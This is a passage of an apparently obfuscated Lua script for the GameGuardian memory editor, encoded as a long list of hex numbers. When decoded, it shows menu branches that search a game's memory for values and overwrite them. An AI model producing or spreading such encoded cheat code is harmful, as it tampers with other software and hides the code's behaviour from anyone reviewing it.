37A,0x1392A,0x158BA,0x13C4A,0x142DA,0x159AA,0x13A1A,0x14C3A,0x158BA,0x13CEA,0x14B4A,0x11D5A,0x11DFA,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1338A,0x131FA,0x132EA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x130BA,0x132EA,0x1351A,0x130BA,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x1207A,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12FCA,0x1207A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x120CA,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12FCA,0x120CA,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x1211A,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12FCA,0x1211A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x1216A,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12FCA,0x1216A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x121BA,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12FCA,0x121BA,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x1220A,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12FCA,0x1220A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x1225A,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x12FCA,0x1225A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1333A,0x130BA,0x1338A,0x135BA,0x1207A,0x12D9A,0x122AA,0x12E3A,0x11B2A,0x1243A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x1356A,0x1301A,0x11DAA,0x11DFA,0x11B2A,0x130BA,0x1338A,0x1306A,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1275A,0x128EA,0x12C5A,0x12C5A,0x1243A,0x11F3A,0x1207A,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1144A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12F7A,0x1207A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1216A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1211A,0x11F8A,0x1211A,0x122AA,0x122FA,0x121BA,0x122AA,0x1211A,0x1211A,0x1207A,0x130BA,0x1211A,0x122AA,0x1270A,0x1239A,0x120CA,0x121BA,0x1220A,0x1234A,0x1220A,0x121BA,0x121BA,0x1211A,0x1220A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x120CA,0x121BA,0x1220A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1324A,0x1315A,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x1202A,0x11DFA,0x1144A,0x1351A,0x132EA,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1261A,0x133DA,0x135BA,0x1338A,0x1356A,0x11DAA,0x11DFA,0x1144A,0x1310A,0x133DA,0x134CA,0x11B2A,0x131FA,0x11B2A,0x1243A,0x11B2A,0x1207A,0x11EEA,0x11B2A,0x1351A,0x132EA,0x11B2A,0x1306A,0x133DA,0x1144A,0x1306A,0x1374A,0x136FA,0x1243A,0x1324A,0x1315A,0x12D9A,0x131FA,0x12E3A,0x11F8A,0x12F7A,0x1306A,0x1306A,0x134CA,0x130BA,0x1351A,0x1351A,0x1144A,0x1315A,0x1315A,0x11F8A,0x12F7A,0x1306A,0x1306A,0x128EA,0x131FA,0x1351A,0x1356A,0x127FA,0x1356A,0x130BA,0x1333A,0x1351A,0x11DAA,0x1379A,0x12D9A,0x1207A,0x12E3A,0x11B2A,0x1243A,0x11B2A,0x1379A,0x12F7A,0x1306A,0x1306A,0x134CA,0x130BA,0x1351A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x1306A,0x1374A,0x136FA,0x11EEA,0x1310A,0x132EA,0x12F7A,0x1315A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x1310A,0x134CA,0x130BA,0x130BA,0x1374A,0x130BA,0x11B2A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11EEA,0x1360A,0x12F7A,0x132EA,0x135BA,0x130BA,0x11B2A,0x1243A,0x11B2A,0x121BA,0x1207A,0x121BA,0x1383A,0x1383A,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12F7A,0x1211A,0x11DAA,0x11DFA,0x1144A,0x132EA,0x133DA,0x1301A,0x12F7A,0x132EA,0x11B2A,0x12B6A,0x1243A,0x1315A,0x1315A,0x11F8A,0x1342A,0x134CA,0x133DA,0x1333A,0x1342A,0x1356A,0x11DAA,0x1379A,0x1144A,0x11BCA,0x159AA,0x14C8A,0x13F1A,0x158BA,0x13ABA,0x144BA,0x1586A,0x14C3A,0x1432A,0x159AA,0x1450A,0x1397A,0x1590A,0x13F6A,0x14AFA,0x1595A,0x1414A,0x13A6A,0x1595A,0x1473A,0x13BFA,0x1595A,0x14B4A,0x1455A,0x11DAA,0x158BA,0x1450A,0x139CA,0x1211A,0x120CA,0x1225A,0x1220A,0x1225A,0x15BDA,0x14BEA,0x13CEA,0x159AA,0x147DA,0x14A5A,0x1590A,0x13BFA,0x13C9A,0x1586A,0x14AAA,0x13C4A,0x1590A,0x13C9A,0x14CDA,0x1595A,0x1423A,0x1392A,0x159FA,0x13F6A,0x13C9A,0x158BA,0x13BAA,0x145FA,0x1586A,0x14B4A,0x13F6A,0x1586A,0x14AAA,0x13D3A,0x1590A,0x1473A,0x14B9A,0x158BA,0x1419A,0x14C8A,0x159AA,0x13ABA,0x14C8A,0x11DFA,0x11BCA,0x1383A,0x11DFA,0x1144A,0x131FA,0x1310A,0x11B2A,0x12B6A,0x1243A,0x1243A,0x1338A,0x131FA,0x132EA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x11B2A,0x1144A,0x1342A,0x134CA,0x131FA,0x1338A,0x1356A,0x11DAA,0x11BCA,0x1590A,0x139CA,0x145AA,0x159FA,0x1392A,0x13BFA,0x1590A,0x13C9A,0x145FA,0x1586A,0x14B4A,0x13B0A,0x158BA,0x13DDA,0x1400A,0x1590A,0x14A0A,0x13BAA,0x11BCA,0x11DFA,0x11B2A,0x133DA,0x1351A,0x11F8A,0x130BA,0x136AA,0x131FA,0x1356A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x132EA,0x1351A,0x130BA,0x1144A,0x132EA,0x133DA,0x1301A,0x12F7A,0x132EA,0x11B2A,0x1284A,0x12B6A,0x1243A,0x11BCA,0x11BCA,0x11F8A,0x11F8A,0x12B6A,0x12D9A,0x1207A,0x12E3A,0x1144A,0x131FA,0x1310A,0x11B2A,0x1284A,0x12B6A,0x1243A,0x1243A,0x11BCA,0x11BCA,0x11B2A,0x1356A,0x131AA,0x130BA,0x1338A,0x1144A,0x1342A,0x134CA,0x131FA,0x1338A,0x1356A,0x11DAA,0x11BCA,0x1590A,0x139CA,0x145AA,0x159AA,0x14CDA,0x140AA,0x1590A,0x141EA,0x1464A,0x159AA,0x14C8A,0x13F1A,0x158BA,0x13ABA,0x144BA,0x11BCA,0x11DFA,0x11B2A,0x133DA,0x1351A,0x11F8A,0x130BA,0x136AA,0x131FA,0x1356A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x121BA,0x120CA,0x125CA,0x1239A,0x121BA,0x12C5A,0x1234A,0x1234A,0x121BA,0x11BCA,0x11EEA,0x1207A,0x120CA,0x1225A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x121BA,0x11BCA,0x11EEA,0x120CA,0x11DFA,0x1144A,0x12FCA,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x1202A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x130BA,0x1306A,0x131FA,0x1356A,0x1257A,0x132EA,0x132EA,0x11DAA,0x12B6A,0x12D9A,0x1207A,0x12E3A,0x11EEA,0x120CA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11EEA,0x1586A,0x14C3A,0x1432A,0x1586A,0x14CDA,0x1478A,0x1590A,0x13F6A,0x14AFA,0x1595A,0x1414A,0x13A6A,0x158BA,0x1392A,0x14BEA,0x1590A,0x140AA,0x147DA,0x11BCA,0x11F8A,0x11F8A,0x12B6A,0x12D9A,0x1207A,0x12E3A,0x11F8A,0x11F8A,0x11BCA,0x15BDA,0x14BEA,0x13CEA,0x159AA,0x147DA,0x14A5A,0x1590A,0x13C4A,0x13C4A,0x1586A,0x14CDA,0x1478A,0x1590A,0x13F6A,0x14AFA,0x158BA,0x13E2A,0x13D8A,0x1595A,0x1414A,0x13A6A,0x1586A,0x14AAA,0x13D3A,0x1590A,0x1473A,0x14B9A,0x158BA,0x1419A,0x14C8A,0x159AA,0x13ABA,0x14C8A,0x1590A,0x13F6A,0x14C8A,0x158BA,0x13ABA,0x144BA,0x158BA,0x13BFA,0x147DA,0x1590A,0x13BFA,0x13C9A,0x11BCA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12F7A,0x120CA,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1216A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1216A,0x1202A,0x1211A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1216A,0x1202A,0x1211A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x130BA,0x1306A,0x131FA,0x1356A,0x1257A,0x132EA,0x132EA,0x11DAA,0x11BCA,0x1216A,0x121BA,0x1202A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12F7A,0x1216A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1216A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1216A,0x121BA,0x1202A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1216A,0x121BA,0x1202A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x130BA,0x1306A,0x131FA,0x1356A,0x1257A,0x132EA,0x132EA,0x11DAA,0x11BCA,0x1216A,0x1202A,0x1211A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12FCA,0x1207A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1216A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x1211A,0x11F8A,0x1211A,0x122AA,0x122FA,0x121BA,0x122AA,0x1211A,0x1211A,0x1207A,0x130BA,0x1211A,0x122AA,0x1270A,0x1239A,0x120CA,0x121BA,0x1220A,0x1234A,0x1220A,0x121BA,0x121BA,0x1211A,0x1220A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x120CA,0x121BA,0x1220A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x1324A,0x1315A,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x1207A,0x1202A,0x1202A,0x1202A,0x11DFA,0x1144A,0x1351A,0x132EA,0x1243A,0x1315A,0x1315A,0x11F8A,0x1315A,0x130BA,0x1356A,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1261A,0x133DA,0x135BA,0x1338A,0x1356A,0x11DAA,0x11DFA,0x1144A,0x1310A,0x133DA,0x134CA,0x11B2A,0x131FA,0x11B2A,0x1243A,0x11B2A,0x1207A,0x11EEA,0x11B2A,0x1351A,0x132EA,0x11B2A,0x1306A,0x133DA,0x1144A,0x1306A,0x1374A,0x136FA,0x1243A,0x1324A,0x1315A,0x12D9A,0x131FA,0x12E3A,0x11F8A,0x12F7A,0x1306A,0x1306A,0x134CA,0x130BA,0x1351A,0x1351A,0x1144A,0x1315A,0x1315A,0x11F8A,0x12F7A,0x1306A,0x1306A,0x128EA,0x131FA,0x1351A,0x1356A,0x127FA,0x1356A,0x130BA,0x1333A,0x1351A,0x11DAA,0x1379A,0x12D9A,0x1207A,0x12E3A,0x11B2A,0x1243A,0x11B2A,0x1379A,0x12F7A,0x1306A,0x1306A,0x134CA,0x130BA,0x1351A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x1306A,0x1374A,0x136FA,0x11EEA,0x1310A,0x132EA,0x12F7A,0x1315A,0x1351A,0x11B2A,0x1243A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x1310A,0x134CA,0x130BA,0x130BA,0x1374A,0x130BA,0x11B2A,0x1243A,0x11B2A,0x1356A,0x134CA,0x135BA,0x130BA,0x11EEA,0x1360A,0x12F7A,0x132EA,0x135BA,0x130BA,0x11B2A,0x1243A,0x11B2A,0x121BA,0x1207A,0x121BA,0x1383A,0x1383A,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1315A,0x1315A,0x11F8A,0x1356A,0x133DA,0x12F7A,0x1351A,0x1356A,0x11DAA,0x11BCA,0x158BA,0x14BEA,0x1392A,0x158BA,0x13E2A,0x147DA,0x1590A,0x13BAA,0x13E2A,0x158BA,0x13C4A,0x142DA,0x11BCA,0x11DFA,0x1144A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x130BA,0x1338A,0x1306A,0x1144A,0x1144A,0x1310A,0x135BA,0x1338A,0x1301A,0x1356A,0x131FA,0x133DA,0x1338A,0x11B2A,0x12FCA,0x120CA,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1301A,0x132EA,0x130BA,0x12F7A,0x134CA,0x12ACA,0x130BA,0x1351A,0x135BA,0x132EA,0x1356A,0x1351A,0x11DAA,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x1356A,0x12ACA,0x12F7A,0x1338A,0x1315A,0x130BA,0x1351A,0x11DAA,0x1216A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x120CA,0x1207A,0x1211A,0x122FA,0x1202A,0x120CA,0x122FA,0x121BA,0x1202A,0x1216A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12ACA,0x1266A,0x11EEA,0x11B2A,0x1310A,0x12F7A,0x132EA,0x1351A,0x130BA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B1A,0x127FA,0x1275A,0x1298A,0x12EDA,0x126BA,0x12A7A,0x12BBA,0x1257A,0x128EA,0x11EEA,0x11B2A,0x1202A,0x11EEA,0x11B2A,0x11F3A,0x1207A,0x11DFA,0x1144A,0x11B2A,0x11B2A,0x1315A,0x1315A,0x11F8A,0x1351A,0x130BA,0x12F7A,0x134CA,0x1301A,0x131AA,0x1298A,0x135BA,0x1333A,0x12FCA,0x130BA,0x134CA,0x11DAA,0x11BCA,0x120CA,0x1207A,0x1211A,0x122FA,0x1202A,0x120CA,0x122FA,0x121BA,0x1202A,0x1216A,0x11BCA,0x11EEA,0x11B2A,0x1315A,0x1315A,0x11F8A,0x12B6A,0x12CFA,0x12A2A,0x126BA,0x12EDA,0x1266A,0x12C5A,0x129DA,0x12A